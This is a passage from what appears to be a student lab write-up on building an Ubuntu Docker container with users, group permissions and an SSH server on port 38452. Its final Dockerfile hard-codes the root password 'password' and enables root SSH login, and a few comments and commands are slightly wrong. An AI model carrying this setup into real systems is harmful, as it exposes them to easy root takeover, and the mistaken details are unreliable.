</span></span></span></code></pre></div><p>I chose the ubuntu image <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> and used the <code>latest</code> tag, which points to the latest LTS release.</p>
<p>However, if we were to build, start, and execute in the container, we would not be able to do it because it would immediately shutdown since nothing is running.</p>
<p>To mitigate this, we add <code>CMD tail -F /dev/null</code> to the end of our Dockerfile. The <code>tail</code> command prints the last 10 lines of a file and the <code>-F</code> argument stands for follow, so it will run forever and print the last 10 lines of a given file <sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>. I used the file <code>/dev/null</code>, which is a virtual device, so any data written to it will disappear <sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>. So we are essentially reading an empty file forever to keep the container up.</p>
<p>If we now run the following commands to build the image, run the container and get a shell in it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># build the image</span>
</span></span><span style="display:flex;"><span>docker buildx build -t image-name .
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># run the container</span>
</span></span><span style="display:flex;"><span>docker run -d --name container-name
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># exec into the container (get a shell in it)</span>
</span></span><span style="display:flex;"><span>docker exec -it container-name /bin/bash
</span></span></code></pre></div><p>To make the commands less work to type, I like to make a shell script that I can source to have aliases for it like this.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>alias relaunch<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sudo sh -c &#39;docker stop itsi &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      docker rm itsi &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      docker buildx build -t itsi:latest . &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      docker run -d -p 38452:38452 --name itsi itsi:latest &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      docker exec -it itsi /bin/bash&#39;&#34;</span>
</span></span><span style="display:flex;"><span>alias rebuild<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sudo sh -c &#39;docker buildx build -t itsi:latest . &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      docker run -d -p 38452:38452 --name itsi itsi:latest &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      docker exec -it itsi /bin/bash&#39;&#34;</span>
</span></span><span style="display:flex;"><span>alias stop<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sudo sh -c &#39;docker stop itsi &amp;&amp; docker rm itsi&#39;&#34;</span>
</span></span></code></pre></div><p>Now we are in the container, but it does not have any of the required packages installed that are needed for this exercise. They can be installed in the container now, which would defeat the whole purpose of building an image, so we use the <code>RUN</code> keyword in our dockerfile along with the desired command to run it when the image is built, so that the packages are installed as soon as you spin up the container:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> apt update <span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> apt upgrade -y<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> apt install iproute2 iputils-ping zsh net-tools vim -y<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><h3 id="testing-connectivity">Testing Connectivity</h3>
<p>Now we can finally test the connectivity since we have the <code>iputils-ping</code> package installed. Everything works out of the box using the default bridge <sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex4/images/ping_internet.png"/> <figcaption>
            Figure: Ping to the Internet
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex4/images/ping_lokal.png"/> <figcaption>
            Figure: Ping the local machine
        </figcaption>
</figure>
</p>
<h4 id="it-works-but-why">It works, but why?</h4>
<p>If we inspect our container using <code>docker inspect container-name</code>, we see that its IP is different from that of the lan.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex4/images/docker_inspect_nw.png"/> <figcaption>
            Figure: docker inspect
        </figcaption>
</figure>

<p>This happens because when you install Docker, it creates a virtual interface <code>docker0</code> that is used as a network bridge to allow the container to communicate with the Internet and LAN <sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex4/images/ipadocker.png"/> <figcaption>
            Figure: ip a | grep docker0
        </figcaption>
</figure>

<p>There are other types of Docker networks, but they are not relevant for this exercise <sup id="fnref1:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.</p>
<h3 id="creating-and-managing-users">Creating and managing users</h3>
<p>To add groups and users, and to add users to groups, use the commands <code>groupadd</code>, <code>useradd</code>, <code>usermod</code>.</p>
<p>To add the user, we add the following lines to our Dockerfile:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#75715e"># creating the group</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> groupadd -g <span style="color:#ae81ff">324</span> ram-Users <span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#75715e"># creating the users -u is used to set the groupid</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> useradd -u <span style="color:#ae81ff">1024</span> ram-alois <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    useradd -u <span style="color:#ae81ff">1124</span> ram-berta <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    useradd -u <span style="color:#ae81ff">1224</span> ram-chris <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    useradd ram-fus <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    useradd ram-ram<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#75715e"># adding the users to the groups</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> usermod -g ram-Users ram-alois <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    usermod -g ram-Users ram-berta<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#75715e"># settings chris&#39;s default shell to zsh</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> usermod --shell /bin/zsh ram-chris<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><h4 id="login-as-the-users">Login as the users</h4>
<p>To log in as another user, use the <code>su</code> command.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex4/images/logggingin.png"/> <figcaption>
            Figure: Login as Berta and Chris
        </figcaption>
</figure>

<p>Each user has their own history, which is stored in their home directory in either the <code>.bash_history</code> or <code>.zsh_history</code> file. You end the session with the <code>exit</code> command or by pressing <code>&lt;C-d&gt;</code>.</p>
<h3 id="set-directory-privileges">Set directory privileges</h3>
<p>The directories are created with this command and the <code>-p</code> stands for parent and creates parent directories if needed. For example, <code>mkdir /test/test2</code> wouldn&rsquo;t work if you don&rsquo;t have <code>/test</code>, but using <code>mkdir -p</code> instead will create <code>/test</code> and <code>/test/test2</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> mkdir -p /data/fus <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    mkdir /data/fus/alois <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    mkdir /data/fus/berta <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    mkdir /data/fus/chris <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    mkdir /data/fus/public<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Three tools are used to set the permission: <code>chgrp</code>, <code>chown</code> and <code>chmod</code>.</p>
<p>First, we want everyone in the group to have access to the directory for which <code>chgrp -R ram-Users /data/fus/</code> is used with the <code>-R</code> argument, which means recursive <sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup> <sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup>.</p>
<p>To give everyone all the permissions in their own directory, we need to make them the owner of it using <code>chown -R username:groupname /data/fus/name-of-directory</code> <sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup>.</p>
<p>Now we can assign permissions to each directory using the <code>chmod</code> command <sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup>.</p>
<p>To better understand the command, here is a breakdown of the options:</p>
<pre tabindex="0"><code>u = user who owns the file
g = group -&gt; everyone in the group of the owner
o = other -&gt; everyone else
r = read
w = write
x = execute
+ adding permissions
- removing permissions
= setting permissions
</code></pre><p>Now, let us use this to set up the permissions accordingly:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># giving the [g]roup [r]ead and [w]rite permissions for /data/fus</span>
</span></span><span style="display:flex;"><span>chmod g+rw /data/fus/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># giving the owner all permissions, the [g]roup only [r]ead and none to [o]thers</span>
</span></span><span style="display:flex;"><span>chmod -R u+wrx,g<span style="color:#f92672">=</span>r,o<span style="color:#f92672">=</span> /data/fus/alois/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># same for berta</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># giving the owner all permissions and none to the [g]roup and [o]thers</span>
</span></span><span style="display:flex;"><span>chmod -R u+wrx,g<span style="color:#f92672">=</span>,o<span style="color:#f92672">=</span> /data/fus/chris/ 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># giving the owner and [g]roup all permissions and none to [o]thers</span>
</span></span><span style="display:flex;"><span>chmod -R u+wrx,g+wrx,o<span style="color:#f92672">=</span>r /data/fus/public/
</span></span></code></pre></div><figure>
    <img loading="lazy" src="/itsi/y3/ex4/images/testing_perms.png"/> <figcaption>
            Figure: Testing permissions
        </figcaption>
</figure>

<p>If we log in as the users, we can see that everything is working as intended.</p>
<h3 id="setting-up-ssh">Setting up ssh</h3>
<p>The two new users required for this have already been created above in 3.3.</p>
<p>To set up an ssh server we need to install the package, if we just add <code>ssh</code> to our install command in the Dockerfile we find out that this command requires interactions to set the timezone we need to add these two extra lines to the Dockerfile.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#75715e"># setting the timezone</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> ln -fs /usr/share/zoneinfo/Europe/Vienna /etc/localtime<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#75715e"># running the command without it being interactive</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> DEBIAN_FRONTEND<span style="color:#f92672">=</span>noninteractive apt install -y tzdata ssh<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Now ssh is installed, but it needs to be started, all we need to do is edit the last line of the file to start the service as well.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#75715e"># the default command from before</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">CMD</span> tail -F /dev/null<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#75715e"># with starting ssh</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">CMD</span> service ssh start <span style="color:#f92672">&amp;&amp;</span> tail -F /dev/null<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>To find out what port the server is listening on for ssh, we use the netstat command that comes with the <code>net-tools</code> package that we installed earlier.</p>
<p>This is done with the command <code>netstat -tunlp | grep ssh</code>. The options of the command are explained below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>-t show TCP ports
</span></span><span style="display:flex;"><span>-u show UDP ports
</span></span><span style="display:flex;"><span>-n show numerical addresses instead of resolving hosts
</span></span><span style="display:flex;"><span>-l show only listening ports
</span></span><span style="display:flex;"><span>-p show the PID of the listener<span style="color:#960050;background-color:#1e0010">&#39;</span>s process
</span></span></code></pre></div><figure>
    <img loading="lazy" src="/itsi/y3/ex4/images/netstatssh.png"/> <figcaption>
            Figure: Search for port with netstat
        </figcaption>
</figure>

<p>Apparently it is a &ldquo;good practice&rdquo; to switch from the default ssh port to a different port to avoid bots and script kiddies that scan the internet for public servers with ssh and test default passwords. I think this is snake oil to change ports for better security, because if you disable password authentication, have a strong password, or ban failing ips with tools like fail2ban, all the problems are solved anyway <sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup>.</p>
<p>For this we need to edit the file <code>/etc/ssh/sshd_config</code>.</p>
<p>I still changed the port to show how it would be done anyway.</p>
<p>To do this, we can use the preinstalled text editor <code>sed</code>, so edit the file with the following command to change the port in the Dockerfile.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#75715e"># -i edit the file in place without printing it to the console</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#75715e"># s to use the substitute command of sed</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#75715e"># &#39;/s/string-you-want-to-replace/string-you-want-to-replace-it-with&#39;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#75715e"># /etc/ssh/sshd_config file that you want to edit</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> sed -i <span style="color:#e6db74">&#39;s/#Port 22/Port 38452/&#39;</span> /etc/ssh/sshd_config<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>When we try to ssh in with the created user, we cannot yet, since we have not published any ports in our container yet.</p>
<h4 id="logging-on-to-the-ssh-server">Logging On to the SSH Server</h4>
<figure>
    <img loading="lazy" src="/itsi/y3/ex4/images/loggingin-before-expsing-the-port.png"/> <figcaption>
            Figure: Connection refused
        </figcaption>
</figure>

<p>To do this, we need to add a line to the Dockerfile and edit the docker run command.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#75715e"># add this with the port of your choice to the Dockerfile</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">EXPOSE</span><span style="color:#e6db74"> 38452</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#75715e"># add -p to [p]ublish the desired port</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>docker run -d -p <span style="color:#ae81ff">38452</span> --name container-name<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Even if we log in now, it still won&rsquo;t work because the user doesn&rsquo;t have a password.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex4/images/failingtologin.png"/> <figcaption>
            Figure: Logging in without a password
        </figcaption>
</figure>

<p>To fix this we add this line to our Dockerfile:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#39;root:youresecurepasswordhere&#39;</span> | chpasswd<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>We change the root password instead of the user password because we do not have <code>sudo</code> setup, and having to type sudo for every command when we are the only user is both unnecessary and annoying.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex4/images/workinglogin.png"/> <figcaption>
            Figure: working login
        </figcaption>
</figure>

<h4 id="enabling-keypair-authentication">Enabling keypair authentication</h4>
<p>To generate a key pair, we go back to our host system and run the command <code>ssh-keygen -b 4096</code> to generate a 4096-bit SSH key.</p>
<p>On Linux, the keys are stored in the <code>~/.ssh</code> directory, but you can specify a location with <code>-f</code>. The file that ends with <code>.pub</code> is the public key, and the other is the private key.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex4/images/keys-in-the-dir.png"/> <figcaption>
            Figure: keys in the directory
        </figcaption>
</figure>

<p>To copy the public key to the server we want to use it on, we use the command <code>ssh-copy-id</code> on Linux and <code>scp</code> on Windows and Mac.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex4/images/ssh-copy-id.png"/> <figcaption>
            Figure: ssh-copy-id
        </figcaption>
</figure>

<p>After this we will not need to enter a password to authenticate.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex4/images/login-with-key.png"/> <figcaption>
            Figure: logging with a key
        </figcaption>
</figure>

<h4 id="disable-password-authentication">Disable password authentication</h4>
<p>To only allow key authentication, we need to edit the <code>/etc/ssh/sshd_config</code> file again.</p>
<p>To do this, we ssh into the server, open the file with a text editor of your choice, and edit this line.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># change this</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># PasswordAuthentication yes</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># to this</span>
</span></span><span style="display:flex;"><span>PasswordAuthentication no
</span></span></code></pre></div><p>If we try to log in as another user for which we do not have a key, we cannot connect.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex4/images/nokey.png"/> <figcaption>
            Figure: Not having a key
        </figcaption>
</figure>

<hr>
<h2 id="references">References</h2>
<p><em>For a full bibliography, see the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex4/quellen.bib">original BibTeX file</a>.</em></p>
<hr>
<h2 id="list-of-figures">List of Figures</h2>
<ol>
<li>Grouplogo</li>
<li>Ping to the Internet</li>
<li>Ping the local machine</li>
<li>docker inspect</li>
<li>ip a | grep docker0</li>
<li>Login as Berta and Chris</li>
<li>Testing permissions</li>
<li>Search for port with netstat</li>
<li>Connection refused</li>
<li>Logging in without a password</li>
<li>working login</li>
<li>keys in the directory</li>
<li>ssh-copy-id</li>
<li>logging with a key</li>
<li>Not having a key</li>
</ol>
<hr>
<h2 id="attachments">Attachments</h2>
<h3 id="dockerfile">Dockerfile</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span><span style="color:#e6db74"> ubuntu:latest</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> apt update <span style="color:#f92672">&amp;&amp;</span> apt upgrade -y <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    apt install iproute2 iputils-ping zsh net-tools vim -y<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> ln -fs /usr/share/zoneinfo/Europe/Vienna /etc/localtime<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> DEBIAN_FRONTEND<span style="color:#f92672">=</span>noninteractive apt install -y tzdata ssh<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#39;root:password&#39;</span> | chpasswd<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> sed -i <span style="color:#e6db74">&#39;s/#Port 22/Port 38452/&#39;</span> /etc/ssh/sshd_config<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> sed -i <span style="color:#e6db74">&#39;s/#PermitRootLogin prohibit-password/PermitRootLogin yes/&#39;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    /etc/ssh/sshd_config<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> groupadd -g <span style="color:#ae81ff">324</span> ram-Users <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    useradd -u <span style="color:#ae81ff">1024</span> ram-alois <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    useradd -u <span style="color:#ae81ff">1124</span> ram-berta <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    useradd -u <span style="color:#ae81ff">1224</span> ram-chris <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    useradd ram-fus <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    useradd ram-ram<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> usermod -g ram-Users ram-alois <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    usermod -g ram-Users ram-berta<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> usermod --shell /bin/bash ram-alois <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\ </span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>    usermod --shell /bin/bash ram-berta <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    usermod --shell /bin/zsh ram-chris <span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> mkdir -p /data/fus <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    mkdir /data/fus/alois <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    mkdir /data/fus/berta <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    mkdir /data/fus/chris <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    mkdir /data/fus/public<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> chgrp -R ram-Users /data/fus/ <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    chmod g+rw /data/fus/ <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    chown -R ram-alois:ram-Users /data/fus/alois/ <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    chmod -R u+wrx,g<span style="color:#f92672">=</span>r,o<span style="color:#f92672">=</span> /data/fus/alois/ <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    chown -R ram-berta:ram-Users /data/fus/berta/ <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    chmod -R u+wrx,g<span style="color:#f92672">=</span>r,o<span style="color:#f92672">=</span> /data/fus/berta/ <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    chown -R ram-chris:ram-Users /data/fus/chris/ <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    chmod -R u+wrx,g<span style="color:#f92672">=</span>,o<span style="color:#f92672">=</span> /data/fus/chris/ <span style="color:#f92672">&amp;&amp;</span><span style="color:#ae81ff">\ </span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>    chmod -R u+wrx,g+wrx,o<span style="color:#f92672">=</span>r /data/fus/public/<span style="color:#960050;background-color:#1e0010">
